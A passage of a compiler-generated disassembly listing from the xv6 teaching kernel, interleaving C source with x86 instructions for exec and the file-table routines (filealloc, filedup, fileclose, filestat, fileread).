bad; if((pgdir = setupkvm()) == 0) 80100a74: e8 e7 65 00 00 call 80107060 <setupkvm> 80100a79: 85 c0 test %eax,%eax 80100a7b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a81: 74 c3 je 80100a46 <exec+0x56> goto bad; // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a83: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a8a: 00 80100a8b: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi 80100a91: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a98: 00 00 00 80100a9b: 0f 84 c5 00 00 00 je 80100b66 <exec+0x176> 80100aa1: 31 ff xor %edi,%edi 80100aa3: eb 18 jmp 80100abd <exec+0xcd> 80100aa5: 8d 76 00 lea 0x0(%esi),%esi 80100aa8: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100aaf: 83 c7 01 add $0x1,%edi 80100ab2: 83 c6 20 add $0x20,%esi 80100ab5: 39 f8 cmp %edi,%eax 80100ab7: 0f 8e a9 00 00 00 jle 80100b66 <exec+0x176> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100abd: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100ac3: 6a 20 push $0x20 80100ac5: 56 push %esi 80100ac6: 50 push %eax 80100ac7: 53 push %ebx 80100ac8: e8 73 0e 00 00 call 80101940 <readi> 80100acd: 83 c4 10 add $0x10,%esp 80100ad0: 83 f8 20 cmp $0x20,%eax 80100ad3: 75 7b jne 80100b50 <exec+0x160> goto bad; if(ph.type != ELF_PROG_LOAD) 80100ad5: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100adc: 75 ca jne 80100aa8 <exec+0xb8> continue; if(ph.memsz < ph.filesz) 80100ade: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100ae4: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100aea: 72 64 jb 80100b50 <exec+0x160> goto bad; if(ph.vaddr + ph.memsz < ph.vaddr) 80100aec: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100af2: 72 5c jb 80100b50 <exec+0x160> goto bad; if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100af4: 83 ec 04 sub $0x4,%esp 80100af7: 50 push %eax 80100af8: ff b5 ec fe ff ff pushl -0x114(%ebp) 80100afe: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b04: e8 a7 63 00 00 call 80106eb0 <allocuvm> 80100b09: 83 c4 10 add $0x10,%esp 80100b0c: 85 c0 test %eax,%eax 80100b0e: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100b14: 74 3a je 80100b50 <exec+0x160> goto bad; if(ph.vaddr % PGSIZE != 0) 80100b16: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100b1c: a9 ff 0f 00 00 test $0xfff,%eax 80100b21: 75 2d jne 80100b50 <exec+0x160> goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100b23: 83 ec 0c sub $0xc,%esp 80100b26: ff b5 14 ff ff ff pushl -0xec(%ebp) 80100b2c: ff b5 08 ff ff ff pushl -0xf8(%ebp) 80100b32: 53 push %ebx 80100b33: 50 push %eax 80100b34: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b3a: e8 b1 62 00 00 call 80106df0 <loaduvm> 80100b3f: 83 c4 20 add $0x20,%esp 80100b42: 85 c0 test %eax,%eax 80100b44: 0f 89 5e ff ff ff jns 80100aa8 <exec+0xb8> 80100b4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); 80100b50: 83 ec 0c sub $0xc,%esp 80100b53: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b59: e8 82 64 00 00 call 80106fe0 <freevm> 80100b5e: 83 c4 10 add $0x10,%esp 80100b61: e9 e0 fe ff ff jmp 80100a46 <exec+0x56> if(ph.vaddr % PGSIZE != 0) goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; } iunlockput(ip); 80100b66: 83 ec 0c sub $0xc,%esp 80100b69: 53 push %ebx 80100b6a: e8 81 0d 00 00 call 801018f0 <iunlockput> end_op(); 80100b6f: e8 3c 20 00 00 call 80102bb0 <end_op> ip = 0; // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 80100b74: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b7a: 83 c4 0c add $0xc,%esp end_op(); ip = 0; // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 80100b7d: 05 ff 0f 00 00 add $0xfff,%eax 80100b82: 25 00 f0 ff ff and $0xfffff000,%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b87: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx 80100b8d: 52 push %edx 80100b8e: 50 push %eax 80100b8f: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b95: e8 16 63 00 00 call 80106eb0 <allocuvm> 80100b9a: 83 c4 10 add $0x10,%esp 80100b9d: 85 c0 test %eax,%eax 80100b9f: 89 c6 mov %eax,%esi 80100ba1: 75 3a jne 80100bdd <exec+0x1ed> freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); 80100ba3: 83 ec 0c sub $0xc,%esp 80100ba6: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bac: e8 2f 64 00 00 call 80106fe0 <freevm> 80100bb1: 83 c4 10 add $0x10,%esp if(ip){ iunlockput(ip); end_op(); } return -1; 80100bb4: b8 ff ff ff ff mov $0xffffffff,%eax 80100bb9: e9 9e fe ff ff jmp 80100a5c <exec+0x6c> struct proc *curproc = myproc(); begin_op(); if((ip = namei(path)) == 0){ end_op(); 80100bbe: e8 ed 1f 00 00 call 80102bb0 <end_op> cprintf("exec: fail\n"); 80100bc3: 83 ec 0c sub $0xc,%esp 80100bc6: 68 a1 73 10 80 push $0x801073a1 80100bcb: e8 90 fa ff ff call 80100660 <cprintf> return -1; 80100bd0: 83 c4 10 add $0x10,%esp 80100bd3: b8 ff ff ff ff mov $0xffffffff,%eax 80100bd8: e9 7f fe ff ff jmp 80100a5c <exec+0x6c> // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bdd: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax 80100be3: 83 ec 08 sub $0x8,%esp sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100be6: 31 ff xor %edi,%edi 80100be8: 89 f3 mov %esi,%ebx // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bea: 50 push %eax 80100beb: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bf1: e8 0a 65 00 00 call 80107100 <clearpteu> sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100bf6: 8b 45 0c mov 0xc(%ebp),%eax 80100bf9: 83 c4 10 add $0x10,%esp 80100bfc: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx 80100c02: 8b 00 mov (%eax),%eax 80100c04: 85 c0 test %eax,%eax 80100c06: 74 79 je 80100c81 <exec+0x291> 80100c08: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp) 80100c0e: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi 80100c14: eb 13 jmp 80100c29 <exec+0x239> 80100c16: 8d 76 00 lea 0x0(%esi),%esi 80100c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(argc >= MAXARG) 80100c20: 83 ff 20 cmp $0x20,%edi 80100c23: 0f 84 7a ff ff ff je 80100ba3 <exec+0x1b3> goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c29: 83 ec 0c sub $0xc,%esp 80100c2c: 50 push %eax 80100c2d: e8 9e 3d 00 00 call 801049d0 <strlen> 80100c32: f7 d0 not %eax 80100c34: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c36: 8b 45 0c mov 0xc(%ebp),%eax 80100c39: 5a pop %edx // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c3a: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c3d: ff 34 b8 pushl (%eax,%edi,4) 80100c40: e8 8b 3d 00 00 call 801049d0 <strlen> 80100c45: 83 c0 01 add $0x1,%eax 80100c48: 50 push %eax 80100c49: 8b 45 0c mov 0xc(%ebp),%eax 80100c4c: ff 34 b8 pushl (%eax,%edi,4) 80100c4f: 53 push %ebx 80100c50: 56 push %esi 80100c51: e8 1a 66 00 00 call 80107270 <copyout> 80100c56: 83 c4 20 add $0x20,%esp 80100c59: 85 c0 test %eax,%eax 80100c5b: 0f 88 42 ff ff ff js 80100ba3 <exec+0x1b3> goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c61: 8b 45 0c mov 0xc(%ebp),%eax if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; 80100c64: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c6b: 83 c7 01 add $0x1,%edi if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; 80100c6e: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80100c74: 8b 04 b8 mov (%eax,%edi,4),%eax 80100c77: 85 c0 test %eax,%eax 80100c79: 75 a5 jne 80100c20 <exec+0x230> 80100c7b: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer 80100c81: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax 80100c88: 89 d9 mov %ebx,%ecx sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; 80100c8a: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4) 80100c91: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 80100c95: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c9c: ff ff ff ustack[1] = argc; 80100c9f: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100ca5: 29 c1 sub %eax,%ecx sp -= (3+argc+1) * 4; 80100ca7: 83 c0 0c add $0xc,%eax 80100caa: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cac: 50 push %eax 80100cad: 52 push %edx 80100cae: 53 push %ebx 80100caf: ff b5 f0 fe ff ff pushl -0x110(%ebp) } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer 80100cb5: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp) sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cbb: e8 b0 65 00 00 call 80107270 <copyout> 80100cc0: 83 c4 10 add $0x10,%esp 80100cc3: 85 c0 test %eax,%eax 80100cc5: 0f 88 d8 fe ff ff js 80100ba3 <exec+0x1b3> goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100ccb: 8b 45 08 mov 0x8(%ebp),%eax 80100cce: 0f b6 10 movzbl (%eax),%edx 80100cd1: 84 d2 test %dl,%dl 80100cd3: 74 19 je 80100cee <exec+0x2fe> 80100cd5: 8b 4d 08 mov 0x8(%ebp),%ecx 80100cd8: 83 c0 01 add $0x1,%eax if(*s == '/') last = s+1; 80100cdb: 80 fa 2f cmp $0x2f,%dl sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100cde: 0f b6 10 movzbl (%eax),%edx if(*s == '/') last = s+1; 80100ce1: 0f 44 c8 cmove %eax,%ecx 80100ce4: 83 c0 01 add $0x1,%eax sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100ce7: 84 d2 test %dl,%dl 80100ce9: 75 f0 jne 80100cdb <exec+0x2eb> 80100ceb: 89 4d 08 mov %ecx,0x8(%ebp) if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cee: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cf4: 50 push %eax 80100cf5: 6a 10 push $0x10 80100cf7: ff 75 08 pushl 0x8(%ebp) 80100cfa: 89 f8 mov %edi,%eax 80100cfc: 83 c0 6c add $0x6c,%eax 80100cff: 50 push %eax 80100d00: e8 8b 3c 00 00 call 80104990 <safestrcpy> // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; 80100d05: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; 80100d0b: 89 f8 mov %edi,%eax 80100d0d: 8b 7f 04 mov 0x4(%edi),%edi curproc->pgdir = pgdir; curproc->sz = sz; 80100d10: 89 30 mov %esi,(%eax) last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; 80100d12: 89 48 04 mov %ecx,0x4(%eax) curproc->sz = sz; curproc->tf->eip = elf.entry; // main 80100d15: 89 c1 mov %eax,%ecx 80100d17: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d1d: 8b 40 18 mov 0x18(%eax),%eax 80100d20: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d23: 8b 41 18 mov 0x18(%ecx),%eax 80100d26: 89 58 44 mov %ebx,0x44(%eax) curproc->priority = 60; 80100d29: c7 81 8c 00 00 00 3c movl $0x3c,0x8c(%ecx) 80100d30: 00 00 00 switchuvm(curproc); 80100d33: 89 0c 24 mov %ecx,(%esp) 80100d36: e8 25 5f 00 00 call 80106c60 <switchuvm> freevm(oldpgdir); 80100d3b: 89 3c 24 mov %edi,(%esp) 80100d3e: e8 9d 62 00 00 call 80106fe0 <freevm> return 0; 80100d43: 83 c4 10 add $0x10,%esp 80100d46: 31 c0 xor %eax,%eax 80100d48: e9 0f fd ff ff jmp 80100a5c <exec+0x6c> 80100d4d: 66 90 xchg %ax,%ax 80100d4f: 90 nop 80100d50 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d50: 55 push %ebp 80100d51: 89 e5 mov %esp,%ebp 80100d53: 83 ec 10 sub $0x10,%esp initlock(&ftable.lock, "ftable"); 80100d56: 68 ad 73 10 80 push $0x801073ad 80100d5b: 68 c0 ff 10 80 push $0x8010ffc0 80100d60: e8 cb 37 00 00 call 80104530 <initlock> } 80100d65: 83 c4 10 add $0x10,%esp 80100d68: c9 leave 80100d69: c3 ret 80100d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100d70 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d70: 55 push %ebp 80100d71: 89 e5 mov %esp,%ebp 80100d73: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d74: bb f4 ff 10 80 mov $0x8010fff4,%ebx } // Allocate a file structure. struct file* filealloc(void) { 80100d79: 83 ec 10 sub $0x10,%esp struct file *f; acquire(&ftable.lock); 80100d7c: 68 c0 ff 10 80 push $0x8010ffc0 80100d81: e8 0a 39 00 00 call 80104690 <acquire> 80100d86: 83 c4 10 add $0x10,%esp 80100d89: eb 10 jmp 80100d9b <filealloc+0x2b> 80100d8b: 90 nop 80100d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d90: 83 c3 18 add $0x18,%ebx 80100d93: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100d99: 74 25 je 80100dc0 <filealloc+0x50> if(f->ref == 0){ 80100d9b: 8b 43 04 mov 0x4(%ebx),%eax 80100d9e: 85 c0 test %eax,%eax 80100da0: 75 ee jne 80100d90 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100da2: 83 ec 0c sub $0xc,%esp struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ if(f->ref == 0){ f->ref = 1; 80100da5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100dac: 68 c0 ff 10 80 push $0x8010ffc0 80100db1: e8 8a 39 00 00 call 80104740 <release> return f; 80100db6: 89 d8 mov %ebx,%eax 80100db8: 83 c4 10 add $0x10,%esp } } release(&ftable.lock); return 0; } 80100dbb: 8b 5d fc mov -0x4(%ebp),%ebx 80100dbe: c9 leave 80100dbf: c3 ret f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 80100dc0: 83 ec 0c sub $0xc,%esp 80100dc3: 68 c0 ff 10 80 push $0x8010ffc0 80100dc8: e8 73 39 00 00 call 80104740 <release> return 0; 80100dcd: 83 c4 10 add $0x10,%esp 80100dd0: 31 c0 xor %eax,%eax } 80100dd2: 8b 5d fc mov -0x4(%ebp),%ebx 80100dd5: c9 leave 80100dd6: c3 ret 80100dd7: 89 f6 mov %esi,%esi 80100dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100de0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100de0: 55 push %ebp 80100de1: 89 e5 mov %esp,%ebp 80100de3: 53 push %ebx 80100de4: 83 ec 10 sub $0x10,%esp 80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dea: 68 c0 ff 10 80 push $0x8010ffc0 80100def: e8 9c 38 00 00 call 80104690 <acquire> if(f->ref < 1) 80100df4: 8b 43 04 mov 0x4(%ebx),%eax 80100df7: 83 c4 10 add $0x10,%esp 80100dfa: 85 c0 test %eax,%eax 80100dfc: 7e 1a jle 80100e18 <filedup+0x38> panic("filedup"); f->ref++; 80100dfe: 83 c0 01 add $0x1,%eax release(&ftable.lock); 80100e01: 83 ec 0c sub $0xc,%esp filedup(struct file *f) { acquire(&ftable.lock); if(f->ref < 1) panic("filedup"); f->ref++; 80100e04: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e07: 68 c0 ff 10 80 push $0x8010ffc0 80100e0c: e8 2f 39 00 00 call 80104740 <release> return f; } 80100e11: 89 d8 mov %ebx,%eax 80100e13: 8b 5d fc mov -0x4(%ebp),%ebx 80100e16: c9 leave 80100e17: c3 ret struct file* filedup(struct file *f) { acquire(&ftable.lock); if(f->ref < 1) panic("filedup"); 80100e18: 83 ec 0c sub $0xc,%esp 80100e1b: 68 b4 73 10 80 push $0x801073b4 80100e20: e8 4b f5 ff ff call 80100370 <panic> 80100e25: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e30 <fileclose>: } // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e30: 55 push %ebp 80100e31: 89 e5 mov %esp,%ebp 80100e33: 57 push %edi 80100e34: 56 push %esi 80100e35: 53 push %ebx 80100e36: 83 ec 28 sub $0x28,%esp 80100e39: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e3c: 68 c0 ff 10 80 push $0x8010ffc0 80100e41: e8 4a 38 00 00 call 80104690 <acquire> if(f->ref < 1) 80100e46: 8b 47 04 mov 0x4(%edi),%eax 80100e49: 83 c4 10 add $0x10,%esp 80100e4c: 85 c0 test %eax,%eax 80100e4e: 0f 8e 9b 00 00 00 jle 80100eef <fileclose+0xbf> panic("fileclose"); if(--f->ref > 0){ 80100e54: 83 e8 01 sub $0x1,%eax 80100e57: 85 c0 test %eax,%eax 80100e59: 89 47 04 mov %eax,0x4(%edi) 80100e5c: 74 1a je 80100e78 <fileclose+0x48> release(&ftable.lock); 80100e5e: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e65: 8d 65 f4 lea -0xc(%ebp),%esp 80100e68: 5b pop %ebx 80100e69: 5e pop %esi 80100e6a: 5f pop %edi 80100e6b: 5d pop %ebp acquire(&ftable.lock); if(f->ref < 1) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); 80100e6c: e9 cf 38 00 00 jmp 80104740 <release> 80100e71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return; } ff = *f; 80100e78: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e7c: 8b 1f mov (%edi),%ebx f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e7e: 83 ec 0c sub $0xc,%esp panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e81: 8b 77 0c mov 0xc(%edi),%esi f->ref = 0; f->type = FD_NONE; 80100e84: c7 07 00 00 00 00 movl $0x0,(%edi) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e8a: 88 45 e7 mov %al,-0x19(%ebp) 80100e8d: 8b 47 10 mov 0x10(%edi),%eax f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e90: 68 c0 ff 10 80 push $0x8010ffc0 panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e95: 89 45 e0 mov %eax,-0x20(%ebp) f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e98: e8 a3 38 00 00 call 80104740 <release> if(ff.type == FD_PIPE) 80100e9d: 83 c4 10 add $0x10,%esp 80100ea0: 83 fb 01 cmp $0x1,%ebx 80100ea3: 74 13 je 80100eb8 <fileclose+0x88> pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ 80100ea5: 83 fb 02 cmp $0x2,%ebx 80100ea8: 74 26 je 80100ed0 <fileclose+0xa0> begin_op(); iput(ff.ip); end_op(); } } 80100eaa: 8d 65 f4 lea -0xc(%ebp),%esp 80100ead: 5b pop %ebx 80100eae: 5e pop %esi 80100eaf: 5f pop %edi 80100eb0: 5d pop %ebp 80100eb1: c3 ret 80100eb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi f->ref = 0; f->type = FD_NONE; release(&ftable.lock); if(ff.type == FD_PIPE) pipeclose(ff.pipe, ff.writable); 80100eb8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx 80100ebc: 83 ec 08 sub $0x8,%esp 80100ebf: 53 push %ebx 80100ec0: 56 push %esi 80100ec1: e8 1a 24 00 00 call 801032e0 <pipeclose> 80100ec6: 83 c4 10 add $0x10,%esp 80100ec9: eb df jmp 80100eaa <fileclose+0x7a> 80100ecb: 90 nop 80100ecc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi else if(ff.type == FD_INODE){ begin_op(); 80100ed0: e8 6b 1c 00 00 call 80102b40 <begin_op> iput(ff.ip); 80100ed5: 83 ec 0c sub $0xc,%esp 80100ed8: ff 75 e0 pushl -0x20(%ebp) 80100edb: e8 b0 08 00 00 call 80101790 <iput> end_op(); 80100ee0: 83 c4 10 add $0x10,%esp } } 80100ee3: 8d 65 f4 lea -0xc(%ebp),%esp 80100ee6: 5b pop %ebx 80100ee7: 5e pop %esi 80100ee8: 5f pop %edi 80100ee9: 5d pop %ebp if(ff.type == FD_PIPE) pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); 80100eea: e9 c1 1c 00 00 jmp 80102bb0 <end_op> { struct file ff; acquire(&ftable.lock); if(f->ref < 1) panic("fileclose"); 80100eef: 83 ec 0c sub $0xc,%esp 80100ef2: 68 bc 73 10 80 push $0x801073bc 80100ef7: e8 74 f4 ff ff call 80100370 <panic> 80100efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f00 <filestat>: } // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100f00: 55 push %ebp 80100f01: 89 e5 mov %esp,%ebp 80100f03: 53 push %ebx 80100f04: 83 ec 04 sub $0x4,%esp 80100f07: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100f0a: 83 3b 02 cmpl $0x2,(%ebx) 80100f0d: 75 31 jne 80100f40 <filestat+0x40> ilock(f->ip); 80100f0f: 83 ec 0c sub $0xc,%esp 80100f12: ff 73 10 pushl 0x10(%ebx) 80100f15: e8 46 07 00 00 call 80101660 <ilock> stati(f->ip, st); 80100f1a: 58 pop %eax 80100f1b: 5a pop %edx 80100f1c: ff 75 0c pushl 0xc(%ebp) 80100f1f: ff 73 10 pushl 0x10(%ebx) 80100f22: e8 e9 09 00 00 call 80101910 <stati> iunlock(f->ip); 80100f27: 59 pop %ecx 80100f28: ff 73 10 pushl 0x10(%ebx) 80100f2b: e8 10 08 00 00 call 80101740 <iunlock> return 0; 80100f30: 83 c4 10 add $0x10,%esp 80100f33: 31 c0 xor %eax,%eax } return -1; } 80100f35: 8b 5d fc mov -0x4(%ebp),%ebx 80100f38: c9 leave 80100f39: c3 ret 80100f3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ilock(f->ip); stati(f->ip, st); iunlock(f->ip); return 0; } return -1; 80100f40: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f45: 8b 5d fc mov -0x4(%ebp),%ebx 80100f48: c9 leave 80100f49: c3 ret 80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100f50 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f50: 55 push %ebp 80100f51: 89 e5 mov %esp,%ebp 80100f53: 57 push %edi 80100f54: 56 push %esi 80100f55: 53 push %ebx 80100f56: 83 ec 0c sub $0xc,%esp 80100f59: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f5c: 8b 75 0c mov 0xc(%ebp),%esi 80100f5f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f62: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f66: 74 60 je 80100fc8 <fileread+0x78> return -1; if(f->type == FD_PIPE) 80100f68: 8b 03 mov (%ebx),%eax 80100f6a: 83 f8 01 cmp $0x1,%eax 80100f6d: 74 41 je 80100fb0 <fileread+0x60> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f6f: 83 f8 02 cmp $0x2,%eax 80100f72: 75 5b jne 80100fcf <fileread+0x7f> ilock(f->ip); 80100f74: 83 ec 0c sub $0xc,%esp 80100f77: ff 73 10 pushl 0x10(%ebx) 80100f7a: e8 e1 06 00 00 call 80101660 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f7f: 57 push %edi 80100f80: ff 73 14 pushl 0x14(%ebx) 80100f83: 56 push %esi 80100f84: ff 73 10 pushl 0x10(%ebx) 80100f87: e8 b4 09 00 00 call 80101940 <readi> 80100f8c: 83 c4 20 add $0x20,%esp 80100f8f: 85 c0 test %eax,%eax 80100f91: 89 c6 mov %eax,%esi 80100f93: 7e 03 jle 80100f98 <fileread+0x48> f->off += r; 80100f95: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f98: 83 ec 0c sub $0xc,%esp 80100f9b: ff 73 10 pushl 0x10(%ebx) 80100f9e: e8 9d 07 00 00 call 80101740 <iunlock> return r; 80100fa3: 83 c4 10 add $0x10,%esp return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ ilock(f->ip); if((r = readi(f->ip, addr, f->off, n)) > 0) 80100fa6: 89 f0 mov %esi,%eax f->off += r; iunlock(f->ip); return r; } panic("fileread"); } 80100fa8: 8d 65 f4 lea -0xc(%ebp),%esp 80100fab: 5b pop %ebx 80100fac: 5e pop %esi 80100fad: 5f pop %edi 80100fae: 5d pop %ebp 80100faf: c3 ret int 